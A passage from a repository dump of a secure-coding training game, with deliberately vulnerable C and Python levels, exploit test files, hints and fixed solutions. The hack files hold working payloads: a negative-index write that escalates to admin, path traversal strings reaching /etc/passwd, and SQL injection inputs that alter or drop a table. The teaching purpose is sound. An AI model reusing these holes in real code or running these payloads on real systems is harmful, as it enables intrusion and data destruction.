self.assertEqual(c.validorder(order_3), 'Order ID: 3 - Payment imbalance: $-1000.00') 26 | 27 | # Example 4 - handles invalid input such as placing an invalid order for 1.5 device 28 | def test_4(self): 29 | tv = c.Item(type='product', description='tv', amount=1000, quantity=1.5) 30 | order_1 = c.Order(id='1', items=[tv]) 31 | try: 32 | c.validorder(order_1) 33 | except: 34 | self.fail("Invalid order detected") 35 | 36 | # Example 5 - handles an invalid item type called 'service' 37 | def test_5(self): 38 | service = c.Item(type='service', description='order shipment', amount=100, quantity=1) 39 | order_1 = c.Order(id='1', items=[service]) 40 | self.assertEqual(c.validorder(order_1), 'Invalid item type: service') 41 | 42 | if __name__ == '__main__': 43 | unittest.main() -------------------------------------------------------------------------------- /Season-1/Level-2/code.h: -------------------------------------------------------------------------------- 1 | // Welcome to Secure Code Game Season-1/Level-2! 2 | 3 | // Follow the instructions below to get started: 4 | 5 | // 1. Perform code review. Can you spot the bug? 6 | // 2. Run tests.c to test the functionality 7 | // 3. Run hack.c and if passing then CONGRATS! 8 | // 4. Compare your solution with solution.c 9 | 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | 16 | #define MAX_USERNAME_LEN 39 17 | #define SETTINGS_COUNT 10 18 | #define MAX_USERS 100 19 | #define INVALID_USER_ID -1 20 | 21 | // For simplicity, both the private (implementation specific) and the public (API) parts 22 | // of this application have been combined inside this header file. In the real-world, it 23 | // is expected for the public (API) parts only to be presented here. Therefore, for the 24 | // purpose of this level, please assume that the private (implementation specific) sections 25 | // of this file, would not be known to the non-privileged users of this application 26 | 27 | // Internal counter of user accounts 28 | int userid_next = 0; 29 | 30 | // The following structure is implementation-speicific and it's supposed to be unknown 31 | // to non-privileged users 32 | typedef struct { 33 | bool isAdmin; 34 | long userid; 35 | char username[MAX_USERNAME_LEN + 1]; 36 | long setting[SETTINGS_COUNT]; 37 | } user_account; 38 | 39 | // Simulates an internal store of active user accounts 40 | user_account *accounts[MAX_USERS]; 41 | 42 | // The signatures of the following four functions together with the previously introduced 43 | // constants (see #DEFINEs) constitute the API of this module 44 | 45 | // Creates a new user account and returns it's unique identifier 46 | int create_user_account(bool isAdmin, const char *username) { 47 | if (userid_next >= MAX_USERS) { 48 | fprintf(stderr, "the maximum number of users have been exceeded"); 49 | return INVALID_USER_ID; 50 | } 51 | 52 | user_account *ua; 53 | if (strlen(username) > MAX_USERNAME_LEN) { 54 | fprintf(stderr, "the username is too long"); 55 | return INVALID_USER_ID; 56 | } 57 | ua = malloc(sizeof (user_account)); 58 | if (ua == NULL) { 59 | fprintf(stderr, "malloc failed to allocate memory"); 60 | return INVALID_USER_ID; 61 | } 62 | ua->isAdmin = isAdmin; 63 | ua->userid = userid_next++; 64 | strcpy(ua->username, username); 65 | memset(&ua->setting, 0, sizeof ua->setting); 66 | accounts[userid_next] = ua; 67 | return userid_next++; 68 | } 69 | 70 | // Updates the matching setting for the specified user and returns the status of the operation 71 | // A setting is some arbitrary string associated with an index as a key 72 | bool update_setting(int user_id, const char *index, const char *value) { 73 | if (user_id < 0 || user_id >= MAX_USERS) 74 | return false; 75 | 76 | char *endptr; 77 | long i, v; 78 | i = strtol(index, &endptr, 10); 79 | if (*endptr) 80 | return false; 81 | 82 | v = strtol(value, &endptr, 10); 83 | if (*endptr || i >= SETTINGS_COUNT) 84 | return false; 85 | accounts[user_id]->setting[i] = v; 86 | return true; 87 | } 88 | 89 | // Returns whether the specified user is an admin 90 | bool is_admin(int user_id) { 91 | if (user_id < 0 || user_id >= MAX_USERS) { 92 | fprintf(stderr, "invalid user id"); 93 | return false; 94 | } 95 | return accounts[user_id]->isAdmin; 96 | } 97 | 98 | // Returns the username of the specified user 99 | const char* username(int user_id) { 100 | // Returns an error for invalid user ids 101 | if (user_id < 0 || user_id >= MAX_USERS) { 102 | fprintf(stderr, "invalid user id"); 103 | return NULL; 104 | } 105 | return accounts[user_id]->username; 106 | } -------------------------------------------------------------------------------- /Season-1/Level-2/hack.c: -------------------------------------------------------------------------------- 1 | // Run hack.c by following the instructions below: 2 | 3 | // This file exploits the vulnerabilities in code.h. Running this file will fail initially as it contains failing tests. 4 | // As all other levels, your goal is to get this file to pass. 5 | 6 | // Run hack by opening a terminal and running the following: 7 | // $ make -B Season-1/Level-2/hack && ./Season-1/Level-2/hack 8 | 9 | // As a reminder, to pass this level, both this file alongside tests.c must pass. 10 | 11 | #include "code.h" 12 | 13 | int main() { 14 | printf("Level 2 \n\n"); 15 | // Creates a non-admin username called "pwned" 16 | int user1 = create_user_account(false, "pwned"); 17 | printf("0. Non-admin (admin:%i) username called '%s' has been created \n", is_admin(user1), username(user1)); 18 | 19 | // An outsider or an insider managed to supply the following input that originally aimed to change a dummy non-admin setting 20 | update_setting(user1, "-7", "1"); 21 | printf("1. A dummy setting has been set to dummy number '1' \n"); 22 | printf("2. Making sure user '%s' is not an admin by performing a check -> [Result] Admin:%i \n\n", username(user1), is_admin(user1)); 23 | 24 | if (is_admin(user1)) 25 | printf(" PRIVILEGE ESCALATION ATTACK DETECTED\n"); 26 | else 27 | printf("CONGRATULATIONS LEVEL 2 PASSED!\n"); 28 | 29 | return 0; 30 | } -------------------------------------------------------------------------------- /Season-1/Level-2/hint-1.txt: -------------------------------------------------------------------------------- 1 | Consider what can happen if an attacker figures out the private, 2 | implementation-specific details of the user_account structure 3 | inside code.h. What can the attacker do with this information? 4 | 5 | Go back and try the exercise without looking hint-2.txt ;) -------------------------------------------------------------------------------- /Season-1/Level-2/hint-2.txt: -------------------------------------------------------------------------------- 1 | Have a look inside hack.c and look at what the attacker is passing as an argument. 2 | Is that input able to overwrite something important somewhere? 3 | 4 | 5 | # Contribute new levels to the game in 3 simple steps! 6 | # Read our Contribution Guideline at github.com/skills/secure-code-game/blob/main/CONTRIBUTING.md -------------------------------------------------------------------------------- /Season-1/Level-2/solution.c: -------------------------------------------------------------------------------- 1 | // Vulnerability was in line 83 of code.h 2 | // Fix can be found in line 77 below 3 | 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | 10 | #define MAX_USERNAME_LEN 39 11 | #define SETTINGS_COUNT 10 12 | #define MAX_USERS 100 13 | #define INVALID_USER_ID -1 14 | 15 | // For simplicity, both the private (implementation specific) and the public (API) parts 16 | // of this application have been combined inside this header file. In the real-world, it 17 | // is expected for the public (API) parts only to be presented here. Therefore, for the 18 | // purpose of this level, please assume that the private (implementation specific) sections 19 | // of this file, would not be known to the non-privileged users of this application 20 | 21 | // Internal counter of user accounts 22 | int userid_next = 0; 23 | 24 | // The following structure is implementation-speicific and it's supposed to be unknown 25 | // to non-privileged users 26 | typedef struct { 27 | bool isAdmin; 28 | long userid; 29 | char username[MAX_USERNAME_LEN + 1]; 30 | long setting[SETTINGS_COUNT]; 31 | } user_account; 32 | 33 | // Simulates an internal store of active user accounts 34 | user_account *accounts[MAX_USERS]; 35 | 36 | // The signatures of the following four functions together with the previously introduced 37 | // constants (see #DEFINEs) constitute the API of this module 38 | 39 | // Creates a new user account and returns it's unique identifier 40 | int create_user_account(bool isAdmin, const char *username) { 41 | if (userid_next >= MAX_USERS) { 42 | fprintf(stderr, "the maximum number of users have been exceeded"); 43 | return INVALID_USER_ID; 44 | } 45 | 46 | user_account *ua; 47 | if (strlen(username) > MAX_USERNAME_LEN) { 48 | fprintf(stderr, "the username is too long"); 49 | return INVALID_USER_ID; 50 | } 51 | ua = malloc(sizeof (user_account)); 52 | if (ua == NULL) { 53 | fprintf(stderr, "malloc failed to allocate memory"); 54 | return INVALID_USER_ID; 55 | } 56 | ua->isAdmin = isAdmin; 57 | ua->userid = userid_next++; 58 | strcpy(ua->username, username); 59 | memset(&ua->setting, 0, sizeof ua->setting); 60 | accounts[userid_next] = ua; 61 | return userid_next++; 62 | } 63 | 64 | // Updates the matching setting for the specified user and returns the status of the operation 65 | // A setting is some arbitrary string associated with an index as a key 66 | bool update_setting(int user_id, const char *index, const char *value) { 67 | if (user_id < 0 || user_id >= MAX_USERS) 68 | return false; 69 | 70 | char *endptr; 71 | long i, v; 72 | i = strtol(index, &endptr, 10); 73 | if (*endptr) 74 | return false; 75 | 76 | v = strtol(value, &endptr, 10); 77 | // FIX: We should check for negative index values too! Scroll for the full solution 78 | if (*endptr || i < 0 || i >= SETTINGS_COUNT) 79 | return false; 80 | accounts[user_id]->setting[i] = v; 81 | return true; 82 | } 83 | 84 | // Returns whether the specified user is an admin 85 | bool is_admin(int user_id) { 86 | if (user_id < 0 || user_id >= MAX_USERS) { 87 | fprintf(stderr, "invalid user id"); 88 | return false; 89 | } 90 | return accounts[user_id]->isAdmin; 91 | } 92 | 93 | // Returns the username of the specified user 94 | const char* username(int user_id) { 95 | // Returns an error for invalid user ids 96 | if (user_id < 0 || user_id >= MAX_USERS) { 97 | fprintf(stderr, "invalid user id"); 98 | return NULL; 99 | } 100 | return accounts[user_id]->username; 101 | } 102 | 103 | /* 104 | There are two vulnerabilities in this code: 105 | 106 | (1) Security through Obscurity Abuse Vulnerability 107 | -------------------------------------------- 108 | 109 | The concept of security through obscurity (STO) relies on the idea that a 110 | system can remain secure if something (even a vulnerability!) is secret or 111 | hidden. If an attacker doesn't know what the weaknesses are, they cannot 112 | exploit them. The flip side is that once that vulnerability is exposed, 113 | it's no longer secure. It's widely believed that security through obscurity 114 | is an ineffective security measure on its own, and should be avoided due to 115 | a potential single point of failure and a fall sense of security. 116 | 117 | In code.h the user_account structure is supposed to be an implementation 118 | detail that is not visible to the user. Otherwise, attackers could easily 119 | modify the structure and change the 'isAdmin' flag to 'true', to gain admin 120 | privileges. 121 | 122 | Therefore, as this example illustrates, security through obscurity alone is 123 | not enough to secure a system. Attackers are in position toreverse engineer 124 | the code and find the vulnerability. This is exposed in hack.c (see below). 125 | 126 | You can read more about the concept of security through obscurity here: 127 | https://securitytrails.com/blog/security-through-obscurity 128 | 129 | 130 | (2) Buffer Overflow Vulnerability 131 | ---------------------------- 132 | 133 | In hack.c, an attacker escalated privileges and became an admin by abusing 134 | the fact that the code wasn't checking for negative index values. 135 | 136 | Negative indexing here caused an unauthorized write to memory and affected a 137 | flag, changing a non-admin user to admin. 138 | 139 | You can read more about buffer overflow vulnerabilities here: 140 | https://owasp.org/www-community/vulnerabilities/Buffer_Overflow 141 | */ -------------------------------------------------------------------------------- /Season-1/Level-2/tests.c: -------------------------------------------------------------------------------- 1 | // Run tests.c by following the instructions below: 2 | 3 | // This file contains passing tests. 4 | 5 | // Run them by opening a terminal and running the following: 6 | // $ make -B Season-1/Level-2/tests && ./Season-1/Level-2/tests 7 | 8 | #include "code.h" 9 | 10 | int main() { 11 | printf("Level 2 \n\n"); 12 | // Creates a non-admin username called "pwned" 13 | int user1 = create_user_account(false, "pwned"); 14 | printf("0. Non-admin (admin:%i) username called '%s' has been created \n\n", is_admin(user1), username(user1)); 15 | 16 | printf("1. Non-admin users like '%s' can update some dummy numerical settings \n", username(user1)); 17 | printf("2. Non-admin users have no access to settings that can escalate themselves to admins \n\n"); 18 | 19 | // Updates the setting '1' of the pwned username to the number '10' 20 | update_setting(user1, "1", "10"); 21 | printf("3. Dummy setting '1' has been now set to dummy number '10' for user '%s' \n", username(user1)); 22 | printf("4. Making sure user '%s' is not an admin by performing a check -> [Result] Admin:%i \n\n", username(user1), is_admin(user1)); 23 | 24 | if (!is_admin(user1)) 25 | printf("User is not an admin so the code works as expected... is it though? \n"); 26 | 27 | return 0; 28 | } -------------------------------------------------------------------------------- /Season-1/Level-3/assets/prof_picture.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lover0ne/skills-secure-code-game/e0e1d3d69d47396de61eb1182a93f4255024a3f4/Season-1/Level-3/assets/prof_picture.png -------------------------------------------------------------------------------- /Season-1/Level-3/assets/tax_form.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lover0ne/skills-secure-code-game/e0e1d3d69d47396de61eb1182a93f4255024a3f4/Season-1/Level-3/assets/tax_form.pdf -------------------------------------------------------------------------------- /Season-1/Level-3/code.py: -------------------------------------------------------------------------------- 1 | # Welcome to Secure Code Game Season-1/Level-3! 2 | 3 | # You know how to play by now, good luck! 4 | 5 | import os 6 | from flask import Flask, request 7 | 8 | ### Unrelated to the exercise -- Starts here -- Please ignore 9 | app = Flask(__name__) 10 | @app.route("/") 11 | def source(): 12 | TaxPayer('foo', 'bar').get_tax_form_attachment(request.args["input"]) 13 | TaxPayer('foo', 'bar').get_prof_picture(request.args["input"]) 14 | ### Unrelated to the exercise -- Ends here -- Please ignore 15 | 16 | class TaxPayer: 17 | 18 | def __init__(self, username, password): 19 | self.username = username 20 | self.password = password 21 | self.prof_picture = None 22 | self.tax_form_attachment = None 23 | 24 | # returns the path of an optional profile picture that users can set 25 | def get_prof_picture(self, path=None): 26 | # setting a profile picture is optional 27 | if not path: 28 | pass 29 | 30 | # defends against path traversal attacks 31 | if path.startswith('/') or path.startswith('..'): 32 | return None 33 | 34 | # builds path 35 | base_dir = os.path.dirname(os.path.abspath(__file__)) 36 | prof_picture_path = os.path.normpath(os.path.join(base_dir, path)) 37 | 38 | with open(prof_picture_path, 'rb') as pic: 39 | picture = bytearray(pic.read()) 40 | 41 | # assume that image is returned on screen after this 42 | return prof_picture_path 43 | 44 | # returns the path of an attached tax form that every user should submit 45 | def get_tax_form_attachment(self, path=None): 46 | tax_data = None 47 | 48 | if not path: 49 | raise Exception("Error: Tax form is required for all users") 50 | 51 | with open(path, 'rb') as form: 52 | tax_data = bytearray(form.read()) 53 | 54 | # assume that tax data is returned on screen after this 55 | return path -------------------------------------------------------------------------------- /Season-1/Level-3/hack.py: -------------------------------------------------------------------------------- 1 | import unittest 2 | import os 3 | import code as c 4 | 5 | class TestTaxPayer(unittest.TestCase): 6 | 7 | # Example 1 - path traversal exploited on get_prof_picture 8 | def test_1(self): 9 | # creates tax payer object with dummy username and password 10 | test_obj = c.TaxPayer('username_test', 'password_test') 11 | # user input to the profile picture 12 | input = './../../../../../etc/passwd' 13 | # the output of the function upon processing user input 14 | output = test_obj.get_prof_picture(input) 15 | 16 | self.assertIsNone(output) 17 | 18 | # Example 2 - path traversal exploited on get_tax_form_attachment 19 | def test_2(self): 20 | # creates tax payer object with dummy username and password 21 | test_obj = c.TaxPayer('username_test', 'password_test') 22 | # gets base directory and completes path with a slash for consistency and completeness 23 | base_dir = os.path.dirname(os.path.abspath(__file__)) + "/" 24 | # user input to the tax form attachment 25 | file_path = './../../../../../etc/passwd' 26 | # complete path for input 27 | input = base_dir + file_path 28 | # the output of the function upon processing user input 29 | output = test_obj.get_tax_form_attachment(input) 30 | 31 | self.assertIsNone(output) 32 | 33 | if __name__ == '__main__': 34 | unittest.main() 35 | -------------------------------------------------------------------------------- /Season-1/Level-3/hint.txt: -------------------------------------------------------------------------------- 1 | Have a look in hack.py and see what the attacker is supplying as value. 2 | Then, think whether is better to use a block list vs using an allow list 3 | when it comes to user input. -------------------------------------------------------------------------------- /Season-1/Level-3/solution.py: -------------------------------------------------------------------------------- 1 | # Model solution follows 2 | 3 | import os 4 | from flask import Flask, request 5 | 6 | ### Unrelated to the exercise -- Starts here -- Please ignore 7 | app = Flask(__name__) 8 | @app.route("/") 9 | def source(): 10 | TaxPayer('foo', 'bar').get_tax_form_attachment(request.args["input"]) 11 | TaxPayer('foo', 'bar').get_prof_picture(request.args["input"]) 12 | ### Unrelated to the exercise -- Ends here -- Please ignore 13 | 14 | class TaxPayer: 15 | 16 | def __init__(self, username, password): 17 | self.username = username 18 | self.password = password 19 | self.prof_picture = None 20 | self.tax_form_attachment = None 21 | 22 | # returns the path of an optional profile picture that users can set 23 | def get_prof_picture(self, path=None): 24 | # setting a profile picture is optional 25 | if not path: 26 | pass 27 | 28 | # builds path 29 | base_dir = os.path.dirname(os.path.abspath(__file__)) 30 | prof_picture_path = os.path.normpath(os.path.join(base_dir, path)) 31 | if not prof_picture_path.startswith(base_dir): 32 | return None 33 | 34 | with open(prof_picture_path, 'rb') as pic: 35 | picture = bytearray(pic.read()) 36 | 37 | # assume that image is returned on screen after this 38 | return prof_picture_path 39 | 40 | # returns the path of an attached tax form that every user should submit 41 | def get_tax_form_attachment(self, path=None): 42 | tax_data = None 43 | 44 | # A tax form is required 45 | if not path: 46 | raise Exception("Error: Tax form is required for all users") 47 | 48 | # Validate the path to prevent path traversal attacks 49 | base_dir = os.path.dirname(os.path.abspath(__file__)) 50 | tax_form_path = os.path.normpath(os.path.join(base_dir, path)) 51 | if not tax_form_path.startswith(base_dir): 52 | return None 53 | 54 | with open(tax_form_path, 'rb') as form: 55 | tax_data = bytearray(form.read()) 56 | 57 | # assume that tax data is returned on screen after this 58 | return tax_form_path 59 | 60 | 61 | # Solution explanation 62 | 63 | # Path Traversal vulnerability 64 | 65 | # A form of injection attacks where attackers escape the intended target 66 | # directory and manage to access parent directories. 67 | # In the functions get_prof_picture and get_tax_form_attachment, the path 68 | # isn't sanitized, and a user can pass invalid paths (with ../). 69 | 70 | # Input validation seems like a good solution at first, by limiting the 71 | # character set allowed to alphanumeric, but sometimes this approach is 72 | # too restrictive. We might need to handle arbitrary filenames or the 73 | # code needs to run cross-platform and account for filesystem differences 74 | # between Windows, Macs and *nix. 75 | 76 | # Proposed fix: 77 | # While you could improve the string-based tests by checking for invalid 78 | # paths (those with dot-dot etc), this approach can be risky since the 79 | # spectrum of inputs can be infinite and attackers get really creative. 80 | 81 | # Instead, a straightforward solution is to rely on the os.path 82 | # library to derive the base directory instead of trusting user input. 83 | # The user input can be later appended to the safely generated base 84 | # directory so that the absolute filepath is normalized. 85 | 86 | # Finally, add a check on the longest common subpath between the 87 | # base directory and the normalized filepath to make sure that no 88 | # traversal is about to happen and that the final path ends up in the 89 | # intended directory. 90 | 91 | # We covered this flaw in a blog post about OWASP's Top 10 proactive controls: 92 | # https://github.blog/2021-12-06-write-more-secure-code-owasp-top-10-proactive-controls/ 93 | 94 | 95 | # Contribute new levels to the game in 3 simple steps! 96 | # Read our Contribution Guideline at github.com/skills/secure-code-game/blob/main/CONTRIBUTING.md 97 | -------------------------------------------------------------------------------- /Season-1/Level-3/tests.py: -------------------------------------------------------------------------------- 1 | import unittest 2 | import os 3 | import code as c 4 | 5 | class TestTaxPayer(unittest.TestCase): 6 | # Example 1 - shows a valid path to a profile picture 7 | def test_1(self): 8 | 9 | # creates tax payer object with dummy username and password 10 | test_obj = c.TaxPayer('username_test', 'password_test') 11 | # user input to the profile picture 12 | input = 'assets/prof_picture.png' 13 | # the output of the function upon processing user input 14 | output = test_obj.get_prof_picture(input) 15 | 16 | # the original function the method uses to come up with base directory 17 | original_base_dir = os.path.dirname(os.path.abspath(__file__)) 18 | # the base directory that the code points on AFTER user input is supplied 19 | # the trick here is to use the length of the original directory counting from left 20 | resulted_based_dir = output[:len(os.path.dirname(os.path.abspath(__file__)))] 21 | 22 | # checks against path traversal by comparing the original to resulted directory 23 | self.assertEqual(original_base_dir, resulted_based_dir) 24 | 25 | # Example 2 - shows a valid path to a tax form 26 | def test_2(self): 27 | # creates tax payer object with dummy username and password 28 | test_obj = c.TaxPayer('username_test', 'password_test') 29 | # gets base directory 30 | base_dir = os.path.dirname(os.path.abspath(__file__)) 31 | # user input to the profile picture 32 | file_path = '/assets/tax_form.pdf' 33 | # complete path for input 34 | input = base_dir + file_path 35 | # the output of the function upon processing user input 36 | output = test_obj.get_tax_form_attachment(input) 37 | 38 | # the original function the method uses to come up with base directory 39 | original_base_dir = os.path.dirname(os.path.abspath(__file__)) 40 | # the base directory that the code points on AFTER user input is supplied 41 | # the trick here is to use the length of the original directory counting from left 42 | resulted_based_dir = output[:len(os.path.dirname(os.path.abspath(__file__)))] 43 | 44 | # checks against path traversal by comparing the original to resulted directory 45 | self.assertEqual(original_base_dir, resulted_based_dir) 46 | 47 | if __name__ == '__main__': 48 | unittest.main() -------------------------------------------------------------------------------- /Season-1/Level-4/code.py: -------------------------------------------------------------------------------- 1 | ''' 2 | Please note: 3 | 4 | The first file that you should run in this level is tests.py for database creation, with all tests passing. 5 | Remember that running the hack.py will change the state of the database, causing some tests inside tests.py 6 | to fail. 7 | 8 | If you like to return to the initial state of the database, please delete the database (level-4.db) and run 9 | the tests.py again to recreate it. 10 | ''' 11 | 12 | import sqlite3 13 | import os 14 | from flask import Flask, request 15 | 16 | ### Unrelated to the exercise -- Starts here -- Please ignore 17 | app = Flask(__name__) 18 | @app.route("/") 19 | def source(): 20 | DB_CRUD_ops().get_stock_info(request.args["input"]) 21 | DB_CRUD_ops().get_stock_price(request.args["input"]) 22 | DB_CRUD_ops().update_stock_price(request.args["input"]) 23 | DB_CRUD_ops().exec_multi_query(request.args["input"]) 24 | DB_CRUD_ops().exec_user_script(request.args["input"]) 25 | ### Unrelated to the exercise -- Ends here -- Please ignore 26 | 27 | class Connect(object): 28 | 29 | # helper function creating database with the connection 30 | def create_connection(self, path): 31 | connection = None 32 | try: 33 | connection = sqlite3.connect(path) 34 | except sqlite3.Error as e: 35 | print(f"ERROR: {e}") 36 | return connection 37 | 38 | class Create(object): 39 | 40 | def __init__(self): 41 | con = Connect() 42 | try: 43 | # creates a dummy database inside the folder of this challenge 44 | path = os.path.dirname(os.path.abspath(__file__)) 45 | db_path = os.path.join(path, 'level-4.db') 46 | db_con = con.create_connection(db_path) 47 | cur = db_con.cursor() 48 | 49 | # checks if tables already exist, which will happen when re-running code 50 | table_fetch = cur.execute( 51 | ''' 52 | SELECT name 53 | FROM sqlite_master 54 | WHERE type='table'AND name='stocks'; 55 | ''').fetchall() 56 | 57 | # if tables do not exist, create them and insert dummy data 58 | if table_fetch == []: 59 | cur.execute( 60 | ''' 61 | CREATE TABLE stocks 62 | (date text, symbol text, price real) 63 | ''') 64 | 65 | # inserts dummy data to the 'stocks' table, representing average price on date 66 | cur.execute( 67 | "INSERT INTO stocks VALUES ('2022-01-06', 'MSFT', 300.00)") 68 | db_con.commit() 69 | 70 | except sqlite3.Error as e: 71 | print(f"ERROR: {e}") 72 | 73 | finally: 74 | db_con.close() 75 | 76 | class DB_CRUD_ops(object): 77 | 78 | # retrieves all info about a stock symbol from the stocks table 79 | # Example: get_stock_info('MSFT') will result into executing 80 | # SELECT * FROM stocks WHERE symbol = 'MSFT' 81 | def get_stock_info(self, stock_symbol): 82 | # building database from scratch as it is more suitable for the purpose of the lab 83 | db = Create() 84 | con = Connect() 85 | try: 86 | path = os.path.dirname(os.path.abspath(__file__)) 87 | db_path = os.path.join(path, 'level-4.db') 88 | db_con = con.create_connection(db_path) 89 | cur = db_con.cursor() 90 | 91 | res = "[METHOD EXECUTED] get_stock_info\n" 92 | query = "SELECT * FROM stocks WHERE symbol = '{0}'".format(stock_symbol) 93 | res += "[QUERY] " + query + "\n" 94 | 95 | # a block list (aka restricted characters) that should not exist in user-supplied input 96 | restricted_chars = ";%&^!#-" 97 | # checks if input contains characters from the block list 98 | has_restricted_char = any([char in query for char in restricted_chars]) 99 | # checks if input contains a wrong number of single quotes against SQL injection 100 | correct_number_of_single_quotes = query.count("'") == 2 101 | 102 | # performs the checks for good cyber security and safe software against SQL injection 103 | if has_restricted_char or not correct_number_of_single_quotes: 104 | # in case you want to sanitize user input, please uncomment the following 2 lines 105 | # sanitized_query = query.translate({ord(char):None for char in restricted_chars}) 106 | # res += "[SANITIZED_QUERY]" + sanitized_query + "\n" 107 | res += "CONFIRM THAT THE ABOVE QUERY IS NOT MALICIOUS TO EXECUTE" 108 | else: 109 | cur.execute(query) 110 | 111 | query_outcome = cur.fetchall() 112 | for result in query_outcome: 113 | res += "[RESULT] " + str(result) 114 | return res 115 | 116 | except sqlite3.Error as e: 117 | print(f"ERROR: {e}") 118 | 119 | finally: 120 | db_con.close() 121 | 122 | # retrieves the price of a stock symbol from the stocks table 123 | # Example: get_stock_price('MSFT') will result into executing 124 | # SELECT price FROM stocks WHERE symbol = 'MSFT' 125 | def get_stock_price(self, stock_symbol): 126 | # building database from scratch as it is more suitable for the purpose of the lab 127 | db = Create() 128 | con = Connect() 129 | try: 130 | path = os.path.dirname(os.path.abspath(__file__)) 131 | db_path = os.path.join(path, 'level-4.db') 132 | db_con = con.create_connection(db_path) 133 | cur = db_con.cursor() 134 | 135 | res = "[METHOD EXECUTED] get_stock_price\n" 136 | query = "SELECT price FROM stocks WHERE symbol = '" + stock_symbol + "'" 137 | res += "[QUERY] " + query + "\n" 138 | if ';' in query: 139 | res += "[SCRIPT EXECUTION]\n" 140 | cur.executescript(query) 141 | else: 142 | cur.execute(query) 143 | query_outcome = cur.fetchall() 144 | for result in query_outcome: 145 | res += "[RESULT] " + str(result) + "\n" 146 | return res 147 | 148 | except sqlite3.Error as e: 149 | print(f"ERROR: {e}") 150 | 151 | finally: 152 | db_con.close() 153 | 154 | # updates stock price 155 | def update_stock_price(self, stock_symbol, price): 156 | # building database from scratch as it is more suitable for the purpose of the lab 157 | db = Create() 158 | con = Connect() 159 | try: 160 | path = os.path.dirname(os.path.abspath(__file__)) 161 | db_path = os.path.join(path, 'level-4.db') 162 | db_con = con.create_connection(db_path) 163 | cur = db_con.cursor() 164 | 165 | if not isinstance(price, float): 166 | raise Exception("ERROR: stock price provided is not a float") 167 | 168 | res = "[METHOD EXECUTED] update_stock_price\n" 169 | # UPDATE stocks SET price = 310.0 WHERE symbol = 'MSFT' 170 | query = "UPDATE stocks SET price = '%d' WHERE symbol = '%s'" % (price, stock_symbol) 171 | res += "[QUERY] " + query + "\n" 172 | 173 | cur.execute(query) 174 | db_con.commit() 175 | query_outcome = cur.fetchall() 176 | for result in query_outcome: 177 | res += "[RESULT] " + result 178 | return res 179 | 180 | except sqlite3.Error as e: 181 | print(f"ERROR: {e}") 182 | 183 | finally: 184 | db_con.close() 185 | 186 | # executes multiple queries 187 | # Example: SELECT price FROM stocks WHERE symbol = 'MSFT'; 188 | # SELECT * FROM stocks WHERE symbol = 'MSFT' 189 | # Example: UPDATE stocks SET price = 310.0 WHERE symbol = 'MSFT' 190 | def exec_multi_query(self, query): 191 | # building database from scratch as it is more suitable for the purpose of the lab 192 | db = Create() 193 | con = Connect() 194 | try: 195 | path = os.path.dirname(os.path.abspath(__file__)) 196 | db_path = os.path.join(path, 'level-4.db') 197 | db_con = con.create_connection(db_path) 198 | cur = db_con.cursor() 199 | 200 | res = "[METHOD EXECUTED] exec_multi_query\n" 201 | for query in filter(None, query.split(';')): 202 | res += "[QUERY]" + query + "\n" 203 | query = query.strip() 204 | cur.execute(query) 205 | db_con.commit() 206 | 207 | query_outcome = cur.fetchall() 208 | for result in query_outcome: 209 | res += "[RESULT] " + str(result) + " " 210 | return res 211 | 212 | except sqlite3.Error as e: 213 | print(f"ERROR: {e}") 214 | 215 | finally: 216 | db_con.close() 217 | 218 | # executes any query or multiple queries as defined from the user in the form of script 219 | # Example: SELECT price FROM stocks WHERE symbol = 'MSFT'; 220 | # SELECT * FROM stocks WHERE symbol = 'MSFT' 221 | def exec_user_script(self, query): 222 | # building database from scratch as it is more suitable for the purpose of the lab 223 | db = Create() 224 | con = Connect() 225 | try: 226 | path = os.path.dirname(os.path.abspath(__file__)) 227 | db_path = os.path.join(path, 'level-4.db') 228 | db_con = con.create_connection(db_path) 229 | cur = db_con.cursor() 230 | 231 | res = "[METHOD EXECUTED] exec_user_script\n" 232 | res += "[QUERY] " + query + "\n" 233 | if ';' in query: 234 | res += "[SCRIPT EXECUTION]" 235 | cur.executescript(query) 236 | db_con.commit() 237 | else: 238 | cur.execute(query) 239 | db_con.commit() 240 | query_outcome = cur.fetchall() 241 | for result in query_outcome: 242 | res += "[RESULT] " + str(result) 243 | return res 244 | 245 | except sqlite3.Error as e: 246 | print(f"ERROR: {e}") 247 | 248 | finally: 249 | db_con.close() -------------------------------------------------------------------------------- /Season-1/Level-4/hack.py: -------------------------------------------------------------------------------- 1 | ''' 2 | Please note: 3 | 4 | The first file that you should run in this level is tests.py for database creation, with all tests passing. 5 | Remember that running the hack.py will change the state of the database, causing some tests inside tests.py 6 | to fail. 7 | 8 | If you like to return to the initial state of the database, please delete the database (level-4.db) and run 9 | the tests.py again to recreate it. 10 | ''' 11 | 12 | import unittest 13 | import code as c 14 | 15 | # code.py has 5 methods namely: 16 | # (1) get_stock_info 17 | # (2) get_stock_price 18 | # (3) update_stock_price 19 | # (4) exec_multi_query 20 | # (5) exec_user_script 21 | 22 | # All methods are vulnerable! 23 | 24 | # Here we show an exploit against (2) get_stock_price which is applicable to 25 | # methods (1) and (3) as well. 26 | 27 | # We believe that methods (4) and (5) shouldn't exist at all in the code. 28 | # Have a look on solution.py for the why. 29 | 30 | class TestDatabase(unittest.TestCase): 31 | 32 | # performs an attack by passing another query. 33 | # Does so by using the semicolon so the method executes a script. 34 | def test_1(self): 35 | op = c.DB_CRUD_ops() 36 | 37 | # what the developer expects to be passed is this: 38 | developer_expectation = op.get_stock_price('MSFT') 39 | developer_output_expectation = "[METHOD EXECUTED] get_stock_price\n[QUERY] SELECT price FROM stocks WHERE symbol = 'MSFT'\n[RESULT] (300.0,)\n" 40 | 41 | # but the hacker passes is this: 42 | what_hacker_passes = op.get_stock_price("MSFT'; UPDATE stocks SET price = '525' WHERE symbol = 'MSFT'--") 43 | hacker_output = "[METHOD EXECUTED] get_stock_price\n[QUERY] SELECT price FROM stocks WHERE symbol = 'MSFT'; UPDATE stocks SET price = '525' WHERE symbol = 'MSFT'--'\n[SCRIPT EXECUTION]\n" 44 | 45 | self.assertEqual(developer_output_expectation, what_hacker_passes) 46 | 47 | # Further exploit input could be: 48 | # "MSFT'; DROP TABLE stocks--" 49 | # through: 50 | # op.get_stock_price("MSFT'; DROP TABLE stocks--") 51 | 52 | if __name__ == '__main__': 53 | unittest.main() -------------------------------------------------------------------------------- /Season-1/Level-4/hint.py: -------------------------------------------------------------------------------- 1 | import sqlite3 